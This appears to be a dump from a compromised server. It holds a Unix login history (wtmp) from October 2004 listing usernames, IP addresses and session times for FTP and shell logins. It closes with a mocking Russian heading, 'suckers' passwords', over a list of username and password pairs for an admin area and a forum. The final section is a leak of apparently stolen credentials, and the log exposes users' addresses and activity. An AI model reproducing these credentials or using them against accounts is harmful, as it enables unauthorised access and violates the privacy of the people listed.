tulksco ftp 217.199.109.35 Thu Oct 21 06:39 - 06:40 (00:00)
progzn ftp 81.176.95.82 Thu Oct 21 04:37 - 04:48 (00:10)
zport ftp 81.3.154.123 Thu Oct 21 04:08 - 04:33 (00:24)
takaja ftp 194.204.29.7 Thu Oct 21 03:49 - 03:59 (00:09)
median ftp 83.237.28.21 Thu Oct 21 03:34 - 03:35 (00:00)
zport ftp 81.3.154.123 Thu Oct 21 02:28 - 02:29 (00:00)
zlg ftp 194.186.32.70 Thu Oct 21 02:21 - 02:33 (00:11)
zport ftp 81.3.154.123 Thu Oct 21 02:15 - 02:16 (00:00)
secureb ftp 62.118.143.225 Thu Oct 21 02:10 - 02:27 (00:16)
oeforum ftp 212.7.28.220 Thu Oct 21 01:31 - 01:40 (00:08)
median ftp 83.237.28.25 Thu Oct 21 01:28 - 01:39 (00:11)
oeforum ftp 212.7.28.220 Thu Oct 21 01:10 - 01:20 (00:10)
detej ftp 217.159.171.106 Thu Oct 21 01:01 - 01:01 (00:00)
median ftp 83.237.28.171 Thu Oct 21 00:44 - 01:01 (00:17)
zport ftp 81.3.154.123 Thu Oct 21 00:37 - 02:04 (01:27)
tdz ftp 195.158.178.136 Thu Oct 21 00:35 - 00:42 (00:07)
oeforum ftp 212.7.28.220 Thu Oct 21 00:30 - 00:40 (00:10)
median ftp 83.237.28.171 Thu Oct 21 00:25 - 00:32 (00:06)
detej ftp 217.159.171.106 Thu Oct 21 00:24 - 00:24 (00:00)
median ftp 83.237.28.171 Thu Oct 21 00:15 - 00:16 (00:00)
tdz ftp 195.158.178.136 Thu Oct 21 00:04 - 00:06 (00:01)
oeforum ftp 212.7.28.220 Thu Oct 21 00:02 - 00:02 (00:00)
median ftp 83.237.28.171 Wed Oct 20 23:59 - 00:06 (00:06)
forum@estfootba ftp 194.106.127.118 Wed Oct 20 23:59 - 00:02 (00:03)
tdz ftp 195.158.178.136 Wed Oct 20 23:53 - 00:00 (00:07)
stive ftp 212.58.195.164 Wed Oct 20 23:51 - 23:52 (00:01)
median ftp 83.237.28.171 Wed Oct 20 23:48 - 23:57 (00:08)
stive ftp 212.58.195.164 Wed Oct 20 23:43 - 23:46 (00:02)
webhack ftp 212.7.18.157 Wed Oct 20 23:37 - 23:38 (00:01)
spaiznuke ftp 192.117.97.6 Wed Oct 20 23:21 - 23:24 (00:02)
tallif ftp 213.219.88.30 Wed Oct 20 23:20 - 23:23 (00:02)
webhack ftp 212.7.18.157 Wed Oct 20 23:16 - 23:16 (00:00)
median ftp 83.237.28.171 Wed Oct 20 23:11 - 23:29 (00:17)
stive ftp 212.58.195.164 Wed Oct 20 22:58 - 23:07 (00:08)
teleman ftp 193.26.13.2 Wed Oct 20 22:56 - 23:10 (00:13)
stive ftp 212.58.195.164 Wed Oct 20 22:55 - 23:07 (00:11)
teleman ftp 193.26.13.2 Wed Oct 20 22:54 - 22:54 (00:00)
stive ftp 212.58.195.164 Wed Oct 20 22:47 - 22:55 (00:07)
bk ftp 217.159.171.34 Wed Oct 20 22:44 - 22:44 (00:00)
bk ftp 217.159.171.34 Wed Oct 20 22:44 - 22:44 (00:00)
[email protected] ftp 217.159.171.194 Wed Oct 20 22:39 - 22:39 (00:00)
stive ftp 212.58.195.164 Wed Oct 20 22:37 - 22:39 (00:02)
warez@trillian. ftp 195.131.125.243 Wed Oct 20 22:34 - 22:38 (00:03)
stive ftp 212.58.195.164 Wed Oct 20 22:33 - 22:37 (00:03)
anonymous@sslpr ftp 195.131.84.202 Wed Oct 20 22:32 - 22:32 (00:00)
stive ftp 212.58.195.164 Wed Oct 20 22:32 - 22:38 (00:06)
median ftp 83.237.28.218 Wed Oct 20 22:31 - 22:46 (00:14)
novo_logs ftp 217.172.21.35 Wed Oct 20 22:30 - 22:31 (00:01)
stive ftp 212.58.195.164 Wed Oct 20 22:29 - 22:33 (00:03)
novo_logs ftp 217.172.21.35 Wed Oct 20 22:27 - 22:30 (00:02)
albalt ftp 217.159.170.70 Wed Oct 20 22:17 - 22:28 (00:10)
forum@estfootba ftp 194.106.127.118 Wed Oct 20 22:17 - 22:19 (00:01)
tulksco ftp 217.199.109.35 Wed Oct 20 22:12 - 22:18 (00:05)
stive ftp 212.58.195.164 Wed Oct 20 22:11 - 22:48 (00:36)
tulksco ftp 217.199.109.35 Wed Oct 20 22:10 - 22:13 (00:03)
stive ftp 212.58.195.164 Wed Oct 20 22:07 - 22:11 (00:03)
albalt ftp 217.159.170.70 Wed Oct 20 22:07 - 22:16 (00:09)
stive ftp 212.58.195.164 Wed Oct 20 22:05 - 22:07 (00:02)
bk ftp 217.159.171.34 Wed Oct 20 22:04 - 22:04 (00:00)
yourtrad ftp 195.209.228.245 Wed Oct 20 22:00 - 22:12 (00:11)
spaiznuke ftp 192.117.97.6 Wed Oct 20 21:59 - 21:59 (00:00)
forum@estfootba ftp 194.106.127.118 Wed Oct 20 21:57 - 22:05 (00:07)
russ ftp 213.242.243.168 Wed Oct 20 21:56 - 21:56 (00:00)
stive ftp 212.58.195.164 Wed Oct 20 21:56 - 21:56 (00:00)
russ ftp 213.242.243.168 Wed Oct 20 21:55 - 21:57 (00:01)
stive ftp 64.191.80.245 Wed Oct 20 21:54 - 21:54 (00:00)
russ ftp 194.226.242.85 Wed Oct 20 21:54 - 21:54 (00:00)
stive ftp 64.191.80.245 Wed Oct 20 21:54 - 21:54 (00:00)
flooder ftp 80.235.60.202 Wed Oct 20 21:41 - 21:43 (00:01)
stive ftp 64.191.80.245 Wed Oct 20 21:41 - 21:41 (00:00)
stive ftp 80.179.51.128 Wed Oct 20 21:37 - 22:35 (00:58)
median ftp 83.237.28.164 Wed Oct 20 21:35 - 21:49 (00:14)
stive ftp 212.58.195.164 Wed Oct 20 21:28 - 21:47 (00:18)
stive ftp 212.58.195.164 Wed Oct 20 21:12 - 21:28 (00:16)
forumlif ftp 194.204.37.86 Wed Oct 20 21:11 - 21:28 (00:16)
median ftp 83.237.28.129 Wed Oct 20 21:07 - 21:20 (00:12)
stive ftp 212.58.195.164 Wed Oct 20 21:06 - 21:11 (00:04)
forest ftp 212.179.230.17 Wed Oct 20 21:05 - 21:05 (00:00)
stive ftp 212.58.195.164 Wed Oct 20 21:03 - 21:06 (00:03)
median ftp 83.237.28.129 Wed Oct 20 21:03 - 21:08 (00:05)
stive ftp 212.58.195.164 Wed Oct 20 21:00 - 21:11 (00:11)
median ftp 83.237.28.129 Wed Oct 20 20:59 - 21:04 (00:05)
anonymous@sslpr ftp 80.78.105.234 Wed Oct 20 20:56 - 20:57 (00:00)
stive ftp 212.58.195.164 Wed Oct 20 20:56 - 21:03 (00:06)
softovik ftp 195.239.4.172 Wed Oct 20 20:53 - 20:54 (00:01)
spartak@sslproj ftp 213.140.107.25 Wed Oct 20 20:48 - 20:49 (00:01)
median ftp 83.237.28.129 Wed Oct 20 20:45 - 21:00 (00:14)
novo_logs ftp 217.172.21.35 Wed Oct 20 20:40 - 21:29 (00:49)
novo ftp 217.172.21.35 Wed Oct 20 20:38 - 21:19 (00:40)
stive ftp 212.58.195.164 Wed Oct 20 20:30 - 20:30 (00:00)
novo_logs ftp 217.172.21.35 Wed Oct 20 20:25 - 20:25 (00:00)
stive ftp 212.58.195.164 Wed Oct 20 20:23 - 20:25 (00:02)
stive ftp 212.58.195.164 Wed Oct 20 20:21 - 20:25 (00:03)
tdz ftp 195.158.178.136 Wed Oct 20 20:15 - 20:22 (00:07)
stive ftp 212.58.195.164 Wed Oct 20 20:14 - 20:25 (00:11)
tdz ftp 195.158.178.136 Wed Oct 20 20:13 - 20:15 (00:02)
albalt ftp 217.159.170.70 Wed Oct 20 20:10 - 20:12 (00:02)
zlg ftp 194.186.32.60 Wed Oct 20 20:09 - 20:21 (00:12)
median ftp 83.237.204.110 Wed Oct 20 20:07 - 20:08 (00:00)
gdp ttyp1 62.65.252.61 Wed Oct 20 20:06 - 10:20 (14:13)
albalt ftp 217.159.170.70 Wed Oct 20 20:06 - 20:32 (00:26)
[email protected] ftp 80.191.226.82 Wed Oct 20 20:03 - 20:04 (00:00)
albalt ftp 217.159.170.70 Wed Oct 20 20:03 - 20:03 (00:00)
[email protected] ftp 82.207.27.215 Wed Oct 20 19:57 - 20:07 (00:10)
[email protected] ftp 80.191.226.31 Wed Oct 20 19:55 - 20:05 (00:10)
detej ftp 217.159.173.206 Wed Oct 20 19:48 - 20:08 (00:20)
russ ftp 194.226.242.85 Wed Oct 20 19:45 - 20:08 (00:22)
nimble ftp 213.130.7.32 Wed Oct 20 19:43 - 20:03 (00:19)
xplorer ftp 83.237.51.98 Wed Oct 20 19:42 - 19:43 (00:00)
nimble ftp 213.130.7.32 Wed Oct 20 19:41 - 19:43 (00:01)
median ftp 83.237.204.110 Wed Oct 20 19:41 - 19:48 (00:07)
nimble ftp 213.130.7.32 Wed Oct 20 19:37 - 19:38 (00:00)
nimble ftp 213.130.7.32 Wed Oct 20 19:36 - 19:36 (00:00)
median ftp 83.237.204.110 Wed Oct 20 19:35 - 19:40 (00:05)
flooder ftp 195.39.210.230 Wed Oct 20 19:28 - 19:29 (00:01)
nimble ftp 213.130.7.32 Wed Oct 20 19:28 - 19:35 (00:07)
flooder ftp 195.39.210.230 Wed Oct 20 19:27 - 19:30 (00:02)
forest ftp 212.179.230.17 Wed Oct 20 19:23 - 19:26 (00:03)
detej ftp 217.159.173.206 Wed Oct 20 19:19 - 19:28 (00:09)
flooder ftp 195.39.210.224 Wed Oct 20 19:10 - 19:11 (00:00)
median ftp 83.237.28.122 Wed Oct 20 19:05 - 19:12 (00:06)
skynet ftp 213.130.23.245 Wed Oct 20 19:05 - 19:05 (00:00)
median ftp 83.237.28.122 Wed Oct 20 18:59 - 19:04 (00:04)
nimble ftp 213.130.7.32 Wed Oct 20 18:53 - 19:13 (00:19)
median ftp 83.237.28.122 Wed Oct 20 18:26 - 18:27 (00:01)
[email protected] ftp 82.207.31.16 Wed Oct 20 18:10 - 18:25 (00:15)
nimble ftp 213.130.7.32 Wed Oct 20 18:08 - 18:09 (00:00)
median ftp 83.237.28.122 Wed Oct 20 17:59 - 18:05 (00:05)
balticsclan ftp 217.159.173.198 Wed Oct 20 17:46 - 17:52 (00:06)
skynet ftp 213.130.23.218 Wed Oct 20 17:34 - 17:49 (00:15)
median ftp 83.237.28.122 Wed Oct 20 17:30 - 17:35 (00:05)
upsaitb ftp 62.148.157.135 Wed Oct 20 17:23 - 17:31 (00:08)
eow ftp 195.62.129.5 Wed Oct 20 17:20 - 17:20 (00:00)
flooder ftp 195.39.210.224 Wed Oct 20 17:19 - 17:19 (00:00)
prohack ftp 62.76.229.11 Wed Oct 20 17:18 - 17:27 (00:08)
flooder ftp 195.39.210.224 Wed Oct 20 17:15 - 17:16 (00:00)
prohack ftp 62.76.229.11 Wed Oct 20 17:14 - 17:22 (00:08)
skynet ftp 213.130.23.218 Wed Oct 20 17:12 - 17:16 (00:03)
bk ftp 217.159.171.34 Wed Oct 20 17:05 - 17:05 (00:00)
bk ftp 217.159.171.34 Wed Oct 20 17:05 - 17:05 (00:00)
ravolink ftp 213.35.209.11 Wed Oct 20 17:05 - 17:05 (00:00)
skynet ftp 213.130.23.218 Wed Oct 20 17:04 - 17:23 (00:19)
flooder ftp 195.39.210.224 Wed Oct 20 17:03 - 17:13 (00:10)
tetatet ftp 193.110.73.84 Wed Oct 20 16:56 - 18:10 (01:13)
median ftp 83.237.28.23 Wed Oct 20 16:55 - 16:58 (00:02)
forest ftp 212.179.230.17 Wed Oct 20 16:55 - 16:55 (00:00)
yourtrad ftp 195.209.228.230 Wed Oct 20 16:55 - 16:55 (00:00)
flooder ftp 80.235.60.202 Wed Oct 20 16:52 - 16:55 (00:03)
russ ftp 213.242.243.168 Wed Oct 20 16:51 - 16:52 (00:01)
yourtrad ftp 195.209.228.230 Wed Oct 20 16:50 - 16:51 (00:00)
russ ftp 213.242.243.168 Wed Oct 20 16:50 - 16:52 (00:01)
flooder ftp 195.39.210.224 Wed Oct 20 16:49 - 16:50 (00:00)
antonu ftp 195.250.172.45 Wed Oct 20 16:46 - 16:47 (00:01)
alexclk ftp 217.224.243.52 Wed Oct 20 16:42 - 16:42 (00:00)
flooder ftp 80.235.60.202 Wed Oct 20 16:41 - 16:44 (00:02)
median ftp 83.237.28.163 Wed Oct 20 16:27 - 16:38 (00:11)
bk ftp 217.159.171.34 Wed Oct 20 16:25 - 16:25 (00:00)
tetatet ftp 193.110.73.84 Wed Oct 20 16:23 - 16:51 (00:28)
bk ftp 217.159.171.34 Wed Oct 20 16:23 - 16:23 (00:00)
[email protected] ftp 82.207.23.76 Wed Oct 20 16:22 - 16:23 (00:00)
bk ftp 217.159.171.34 Wed Oct 20 16:20 - 16:20 (00:00)
tetatet ftp 193.110.73.84 Wed Oct 20 16:19 - 16:30 (00:11)
bk ftp 217.159.171.34 Wed Oct 20 16:18 - 16:18 (00:00)
alexclk ftp 217.224.243.52 Wed Oct 20 16:18 - 16:18 (00:00)
bk ftp 217.159.171.34 Wed Oct 20 16:17 - 16:18 (00:00)
skynet ftp 213.130.23.218 Wed Oct 20 16:17 - 16:17 (00:00)
bk ftp 217.159.171.34 Wed Oct 20 16:17 - 16:35 (00:18)
flooder ftp 195.39.210.224 Wed Oct 20 16:16 - 16:23 (00:06)
gdpbalt ftp 62.65.252.61 Wed Oct 20 16:07 - 16:08 (00:01)
sghi ftp 217.174.98.26 Wed Oct 20 16:05 - 16:06 (00:00)
skynet ftp 213.130.23.218 Wed Oct 20 15:57 - 16:14 (00:16)
skynet ftp 213.130.23.218 Wed Oct 20 15:57 - 15:57 (00:00)
antonu ftp 195.250.172.45 Wed Oct 20 15:54 - 15:55 (00:01)
median ftp 81.195.5.9 Wed Oct 20 15:54 - 15:54 (00:00)
forest ftp 212.179.230.17 Wed Oct 20 15:49 - 15:49 (00:00)
tetatet ftp 193.110.73.84 Wed Oct 20 15:47 - 15:49 (00:02)
antonu ftp 195.250.172.45 Wed Oct 20 15:43 - 15:43 (00:00)
median ftp 81.195.5.9 Wed Oct 20 15:38 - 15:50 (00:12)
median ftp 81.195.5.9 Wed Oct 20 15:32 - 15:38 (00:05)
median ftp 81.195.5.9 Wed Oct 20 15:30 - 15:32 (00:02)
forest ftp 212.179.230.17 Wed Oct 20 15:29 - 15:30 (00:01)
skynet ftp 213.130.20.152 Wed Oct 20 15:26 - 15:28 (00:01)
median ftp 81.195.5.9 Wed Oct 20 15:26 - 15:31 (00:04)
forest ftp 212.179.230.17 Wed Oct 20 15:25 - 15:26 (00:00)
skynet ftp 213.130.20.152 Wed Oct 20 15:25 - 15:26 (00:00)
gdpbalt ftp 127.0.0.1 Wed Oct 20 15:24 - 15:24 (00:00)
gdp ftp 127.0.0.1 Wed Oct 20 15:20 - 15:21 (00:00)
gdp ftp 127.0.0.1 Wed Oct 20 15:13 - 15:13 (00:00)
admin ftp 82.131.4.167 Wed Oct 20 14:59 - 15:03 (00:04)
gdp ttyp2 62.65.252.61 Wed Oct 20 14:53 - 10:20 (19:26)
gdp ttyp4 62.65.252.61 Wed Oct 20 14:53 - 10:16 (19:23)
gdp ttyp1 leda.ints.net Wed Oct 20 14:51 - 20:05 (05:14)
gdp ttyp2 leda.ints.net Wed Oct 20 14:21 - 14:53 (00:32)
gdp ttyp1 leda.ints.net Wed Oct 20 14:19 - 14:50 (00:30)
admin ttyp0 82.131.4.167 Wed Oct 20 14:18 - 00:31 (10:12)
reboot ~ Wed Oct 20 14:17
shutdown ~ Wed Oct 20 14:09
root ttyv0 Wed Oct 20 14:09 - shutdown (00:00)
reboot ~ Wed Oct 20 14:08
shutdown ~ Wed Oct 20 13:48
root ttyv0 Wed Oct 20 13:44 - shutdown (00:03)
admin ftp 82.131.4.167 Wed Oct 20 11:59 - 12:01 (00:01)
gdp ftp leda.ints.net Wed Oct 20 11:52 - 11:52 (00:00)
admin ttyp3 82.131.4.167 Wed Oct 20 11:36 - shutdown (02:12)
admin ftp 127.0.0.1 Wed Oct 20 11:34 - 11:34 (00:00)
gdp ftp 62.65.252.61 Wed Oct 20 01:23 - 01:23 (00:00)
gdp ttyp2 leda.ints.net Tue Oct 19 23:41 - 13:03 (13:22)
gdp ttyp2 leda.ints.net Tue Oct 19 23:40 - 23:40 (00:00)
gdp ttyp2 leda.ints.net Tue Oct 19 23:07 - 23:40 (00:32)
gdp ttyp2 leda.ints.net Tue Oct 19 23:07 - 23:07 (00:00)
gdp ttyp0 leda.ints.net Tue Oct 19 23:00 - shutdown (14:47)
gdp ttyp2 leda.ints.net Tue Oct 19 22:51 - 23:07 (00:16)
gdp ttyp2 leda.ints.net Tue Oct 19 22:49 - 22:49 (00:00)
admin ttyp2 leda.ints.net Tue Oct 19 22:47 - 22:48 (00:01)
gdp ttyp1 leda.ints.net Tue Oct 19 22:26 - shutdown (15:21)
gdp ftp leda.ints.net Tue Oct 19 21:43 - 21:51 (00:07)
admin ttyp1 82.131.4.167 Tue Oct 19 20:33 - 21:41 (01:08)
gdp ttyp0 194.44.58.68 Tue Oct 19 19:41 - 23:00 (03:19)
reboot ~ Tue Oct 19 19:41
shutdown ~ Tue Oct 19 19:38
gdp ftp leda.ints.net Tue Oct 19 19:34 - 19:36 (00:01)
gdp ftp 127.0.0.1 Tue Oct 19 19:34 - 19:34 (00:00)
gdp ttyp0 leda.ints.net Tue Oct 19 19:16 - shutdown (00:22)
gdp ttyp0 leda.ints.net Tue Oct 19 19:15 - 19:15 (00:00)
root ttyv0 Tue Oct 19 19:15 - 19:16 (00:01)
reboot ~ Tue Oct 19 19:14
shutdown ~ Tue Oct 19 19:11
root ttyv0 Tue Oct 19 19:10 - shutdown (00:01)
reboot ~ Tue Oct 19 19:08
shutdown ~ Tue Oct 19 18:28
reboot ~ Tue Oct 19 18:05
shutdown ~ Tue Oct 19 13:36
gdp ttyp0 sv42.starman.ee Tue Oct 19 13:36 - shutdown (00:00)
admin ttyp5 82.131.4.167 Tue Oct 19 13:27 - 13:35 (00:08)
gdp ttyp4 leda.ints.net Tue Oct 19 13:07 - shutdown (00:29)
admin ttyp1 82.131.4.167 Tue Oct 19 09:35 - 12:41 (03:05)
admin ttyp1 82.131.4.167 Mon Oct 18 09:32 - 00:30 (14:58)
admin ttyp1 82.131.4.167 Sun Oct 17 11:11 - 23:27 (12:16)
admin ttyp1 82.131.4.167 Sun Oct 17 00:07 - 02:07 (01:59)
admin ttyp1 82.131.4.167 Sat Oct 16 11:38 - 22:36 (10:58)
admin ttyp3 mahaon.ints.net Fri Oct 15 11:45 - 16:24 (04:38)
admin ttyp1 82.131.4.167 Fri Oct 15 09:39 - 01:55 (16:16)
admin ttyp1 82.131.4.167 Thu Oct 14 19:50 - 01:02 (05:12)
admin ttyp1 82.131.4.167 Thu Oct 14 15:55 - 19:39 (03:44)
admin ttyp1 82.131.4.167 Thu Oct 14 13:48 - 15:40 (01:52)
admin ttyp3 mahaon.ints.net Thu Oct 14 09:52 - 10:32 (1+00:40)
admin ttyp1 82.131.4.167 Thu Oct 14 08:54 - 12:05 (03:10)
gdp ttyp0 sv42.starman.ee Wed Oct 13 11:19 - 13:36 (6+02:16)
admin ttyp6 mahaon.ints.net Wed Oct 13 11:11 - 21:41 (10:30)
gdp ttyp7 leda.ints.net Wed Oct 13 11:09 - 11:09 (00:00)
gdp ttyp3 sv42.starman.ee Wed Oct 13 10:19 - 11:10 (00:50)
gdp ttyp3 leda.ints.net Wed Oct 13 10:19 - 10:19 (00:00)
gdp ttyp2 sv42.starman.ee Wed Oct 13 10:10 - 11:20 (01:09)
admin ttyp1 82.131.4.167 Wed Oct 13 09:58 - 00:08 (14:10)
gdp ttyp0 sv42.starman.ee Wed Oct 13 09:58 - 11:19 (01:20)
reboot ~ Wed Oct 13 09:58
shutdown ~ Wed Oct 13 09:53
admin ttyp0 82.131.4.167 Wed Oct 13 08:04 - shutdown (01:49)
admin ttyp0 82.131.4.167 Tue Oct 12 18:19 - 03:26 (09:06)
gdp ttyp2 sv42.starman.ee Tue Oct 12 14:27 - shutdown (19:26)
admin ttyp0 82.131.4.167 Tue Oct 12 14:23 - 18:14 (03:51)
reboot ~ Tue Oct 12 14:23
shutdown ~ Tue Oct 12 14:20
gdp ttyp0 sv42.starman.ee Tue Oct 12 12:48 - 13:07 (00:18)
reboot ~ Tue Oct 12 12:48
shutdown ~ Tue Oct 12 12:44
gdp ttyp2 sv42.starman.ee Tue Oct 12 12:37 - 12:37 (00:00)
gdp ttyp3 sv42.starman.ee Tue Oct 12 12:30 - shutdown (00:13)
gdp ttyp5 212.7.8.155 Tue Oct 12 12:25 - 12:26 (00:00)
gdp ttyp4 212.7.8.155 Tue Oct 12 12:24 - 12:24 (00:00)
gdp ttyp3 sv42.starman.ee Tue Oct 12 12:23 - 12:30 (00:06)
admin ttyp0 82.131.4.167 Tue Oct 12 12:21 - shutdown (00:22)
reboot ~ Tue Oct 12 12:21
shutdown ~ Tue Oct 12 12:17
gdp ttyp3 sv42.starman.ee Tue Oct 12 12:09 - shutdown (00:08)
root ttyv0 Tue Oct 12 11:55 - 12:16 (00:21)
reboot ~ Tue Oct 12 11:47
shutdown ~ Tue Oct 12 11:44
reboot ~ Tue Oct 12 11:43
shutdown ~ Tue Oct 12 11:40
reboot ~ Tue Oct 12 11:26
shutdown ~ Tue Oct 12 10:49
admin ttyp4 mahaon.ints.net Tue Oct 12 09:18 - shutdown (01:31)
admin ttyp3 82.131.4.167 Tue Oct 12 08:49 - shutdown (02:00)
admin ttyp3 82.131.4.167 Mon Oct 11 18:15 - 23:44 (05:29)
admin ttyp4 mahaon.ints.net Mon Oct 11 14:31 - 09:08 (18:37)
admin ttyp3 mahaon.ints.net Mon Oct 11 12:22 - 13:58 (01:36)
admin ttyp6 82.131.4.167 Mon Oct 11 10:35 - 18:09 (07:33)
admin ttyp5 mahaon.ints.net Mon Oct 11 10:14 - 11:28 (01:14)
admin ttyp0 82.131.4.167 Mon Oct 11 08:57 - 10:35 (01:38)
admin ttyp0 82.131.4.167 Sun Oct 10 14:49 - 01:12 (10:23)
admin ttyp0 82.131.4.167 Sun Oct 10 12:39 - 13:55 (01:15)
admin ttyp0 82.131.4.167 Sat Oct 9 21:57 - 02:10 (04:13)
admin ttyp0 82.131.4.167 Sat Oct 9 19:49 - 21:14 (01:24)
admin ttyp0 82.131.4.167 Sat Oct 9 19:05 - 19:42 (00:36)
admin ttyp4 82.131.4.167 Sat Oct 9 17:06 - 18:29 (01:22)
admin ttyp4 82.131.4.167 Sat Oct 9 16:12 - 17:05 (00:53)
admin ttyp0 82.131.4.167 Sat Oct 9 16:08 - 17:17 (01:08)
admin ttyp0 82.131.4.167 Sat Oct 9 13:58 - 15:44 (01:45)
admin ttyp0 82.131.4.167 Sat Oct 9 13:56 - 13:57 (00:01)
admin ttyp0 82.131.4.167 Sat Oct 9 11:04 - 13:42 (02:38)
admin ttyp4 82.131.4.167 Fri Oct 8 23:56 - 02:15 (02:19)
admin ttyp0 82.131.4.167 Fri Oct 8 21:37 - 23:58 (02:21)
admin ttyp0 82.131.4.167 Fri Oct 8 15:26 - 21:10 (05:43)
admin ttyp0 82.131.4.167 Fri Oct 8 13:56 - 15:20 (01:24)
admin ttyp4 mahaon.ints.net Fri Oct 8 10:48 - 19:02 (08:14)
admin ttyp0 82.131.4.167 Fri Oct 8 07:56 - 11:53 (03:57)
admin ttyp0 82.131.4.167 Fri Oct 8 07:52 - 07:55 (00:02)
gdp ttyp1 leda.ints.net Thu Oct 7 18:14 - shutdown (4+16:35)
reboot ~ Thu Oct 7 18:14
admin ttyp0 82.131.4.167 Thu Oct 7 18:14 - crash (00:00)
shutdown ~ Thu Oct 7 18:08
admin ttyp1 82.131.4.167 Thu Oct 7 17:46 - shutdown (00:22)
admin ttypa 82.131.4.167 Thu Oct 7 17:40 - 17:46 (00:06)
admin ttyp8 mahaon.ints.net Thu Oct 7 09:49 - shutdown (08:19)
admin ttyp1 82.131.4.167 Thu Oct 7 08:09 - 17:43 (09:34)
admin ttyp1 82.131.4.167 Wed Oct 6 22:30 - 00:33 (02:02)
admin ttyp0 82.131.4.167 Wed Oct 6 19:18 - 22:33 (03:15)
admin ttyp3 mahaon.ints.net Wed Oct 6 09:22 - 00:00 (14:38)
admin ttyp1 82.131.4.167 Wed Oct 6 09:03 - 20:37 (11:33)
admin ttyp3 82.131.4.167 Tue Oct 5 22:57 - 00:30 (01:32)
admin ttyp1 82.131.4.167 Tue Oct 5 22:54 - 23:03 (00:09)
admin ttyp1 82.131.4.167 Tue Oct 5 20:18 - 22:46 (02:27)
admin ttyp1 82.131.4.167 Tue Oct 5 18:53 - 19:51 (00:58)
admin ttyp3 82.131.4.167 Tue Oct 5 09:45 - 18:42 (08:56)
admin ttyp1 mahaon.ints.net Tue Oct 5 09:45 - 18:10 (08:25)
admin ttyp4 82.131.4.167 Mon Oct 4 20:24 - 23:26 (03:01)
admin ttyp1 82.131.4.167 Mon Oct 4 11:14 - 00:57 (13:43)
admin ttyp3 mahaon.ints.net Mon Oct 4 09:29 - 09:21 (23:52)
admin ttyp1 82.131.4.167 Mon Oct 4 09:23 - 10:51 (01:28)
admin ttyp4 82.131.4.167 Sun Oct 3 21:21 - 01:30 (04:08)
admin ttyp3 82.131.4.167 Sun Oct 3 21:04 - 00:17 (03:12)
admin ttyp3 82.131.4.167 Sun Oct 3 15:36 - 20:37 (05:01)
admin ttyp3 82.131.4.167 Sun Oct 3 13:48 - 15:31 (01:43)
admin ttyp4 82.131.4.167 Sat Oct 2 18:18 - 21:28 (03:10)
admin ttyp3 82.131.4.167 Sat Oct 2 16:53 - 03:06 (10:13)
admin ttyp4 mahaon.ints.net Sat Oct 2 13:03 - 17:58 (04:55)
admin ttyp3 82.131.4.167 Sat Oct 2 09:53 - 16:38 (06:44)
admin ttyp0 mahaon.ints.net Fri Oct 1 10:11 - 18:18 (08:07)
admin ttyp1 82.131.4.167 Fri Oct 1 08:27 - 03:15 (18:47)
wtmp begins Fri Oct 1 08:27:09 EEST 2004
Пароли лохов:
(admin-zone)
Squee:{LET#me$in#NOW}
eyes:vfvf19Fq
Shift:fsd&||02==[am%63h]
m0zg:s<u!n%26l#i0g>h_t
m0rg:!D2cb8f5da&>
DreAmeRz:XzzERTYOPX
(forum)
m0rg:creozot
372-06:31337doomer
Shift:d3jhg%klD
eyes:pupkin-zade
bags:cool4913
dodbob:qwepoizxc
Denied_Group:BLYA
m0zg:sunlight
DreAmeRz:cat
pzh32:ps15v33
